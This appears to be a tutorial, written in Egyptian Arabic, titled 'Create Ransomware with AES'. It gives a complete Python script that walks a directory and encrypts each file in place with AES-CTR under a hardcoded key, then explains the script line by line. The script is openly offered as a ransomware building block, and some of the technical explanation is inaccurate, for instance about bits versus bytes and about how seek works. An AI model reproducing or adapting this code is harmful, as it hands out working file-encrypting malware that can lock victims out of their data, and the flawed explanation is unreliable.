Create Ransomware with AES

```
from Crypto.Cipher import AES
from Crypto import Random
from Crypto.Util import Counter
from os import path
import os

def enc(key, fpath):
    counter = Counter.new(128)
    c = AES.new(key, AES.MODE_CTR, counter=counter)
    with open(fpath, "r+b") as f:
        plaintext = f.read(16)
        while plaintext:
            f.seek(-len(plaintext), 1)
            f.write(c.encrypt(plaintext))
            plaintext = f.read(16)

key = b'\x8e\xd0\x010\xdd>Z~<\xcd\xa2\xfbs\x82P\xef'

for d, s, f in os.walk(r"D:\test"):
    for file in f:
        fullpath = os.path.join(d, file)
        print(fullpath)
        enc(key, fullpath)
```

- تعالي بقي نفصص الكود واحده واحده واعتقد ان معظمه انت هتكون فاهمه لو مذاكر المحاضره اللي فاتت كويس
- اول حاجه انا بستدعي المكتبات الجميله بتاعتنا

```
from Crypto.Cipher import AES
from Crypto import Random
from Crypto.Util import Counter
from os import path
import os
```

- وبعد كدا هعمل generate لkey وهحفظو ف متغير اسمه key بس كده

- تعالي بقي نشرح الفانكشن `enc` مبدأيا الفانكشن دي بتاخد من اتنين بارامتر اول واحد هو الkey اللي هشفر بيه وتاني بارامتر هو fpath ده مسار الملف اللي عاوزني اشفره
- بعد كده `counter = Counter.new(128)` هنا انا بحدد الكاونتر بقوله شفرلي كل 128 بت
- بعده `c = AES.new(key, AES.MODE_CTR, counter=counter)` دا الخلاط اللي قولتلك بيغلفلك الkey ويظبطو ويروق عليه
- بص بقي احنا هنا هنخش علي فايل او dir ايا كان تعالي بقي اقولك هنعمل ايه

```
    with open(fpath, "r+b") as f:
        plaintext = f.read(16)
        while plaintext:
            f.seek(-len(plaintext), 1)
            f.write(c.encrypt(plaintext))
            plaintext = f.read(16)
```

- فاكر `with open as` يارب تكون فاكرها
- انا هنا بقوله افتحلي الpath اللي انا هديهولك يعني بصلاحيات ال `r+b` يعني read + binary وال binary دا بتاع الascii encode لو فاكر
- بعد كده بقوله `plaintext = f.read(16)` بقوله اقرألي كل 16 بايت اللي هو 128 بت وخزنهم فمتغير اسمه plaintext
- طيب احنا جبنا 16 دي منين لو تفتكر اني ال counter كان 128 بت يعني 16 بايت بس هنا ال `f.read` بتقبل بايت بس مش بت فا حسبه بسيطه كدا هنقسم الكاونتر علي 8
- بعد كده بعمل لوب `:while plaintext`
- انا دلوقتي قولتله يقرأ 16 بايت انا عاوزه بقي يحددهملي ويقطعهم واحده واحده هو مش كل 16 بت هيقرأهم؟ يبقي نقطعهم ونشفرهم 16 في 16 صح كده ولا ايه (لو مفهمتش استعين بشات جي بي تي) المهم هنا عشان نعمل كده هنستخدم `f.seek(-len(plaintext), 1)` انا هنا بقوله اقطعلي من اول طول الplaintext اللي هو 16 لحد 1 لحد ماهو محدد بص كده مثلا

الseek بتعمل كده بالظبط بتحدد كل 16 بايت وتشفرهم فا اخر الlen هو 16 بايت واول حرف خالص هو ال1 (لو مفهمتش استعين بشات جي بي تي)
- المهم بعد مايختارهم بالseek قولتله `f.write(c.encrypt(plaintext))` هنا قولتله شفرهم بقي
- بعد كده قولتله `plaintext = f.read(16)` اللي هو ارجع اقرأ 16 بت تاني وكرر بقي العمليه دي تاني

```
for d, s, f in os.walk(r"D:\test"):
    for file in f:
        fullpath = os.path.join(d, file)
        print(fullpath)
        enc(key, fullpath)
```

- دي ال os.walk اللي شرحناها قبل كده لو فاكرها هنا بقي هبدأ أأكسس علي كل فايل فالمسار ده واحطو في بارامتر الفانكشن `enc` عشان يشفرهم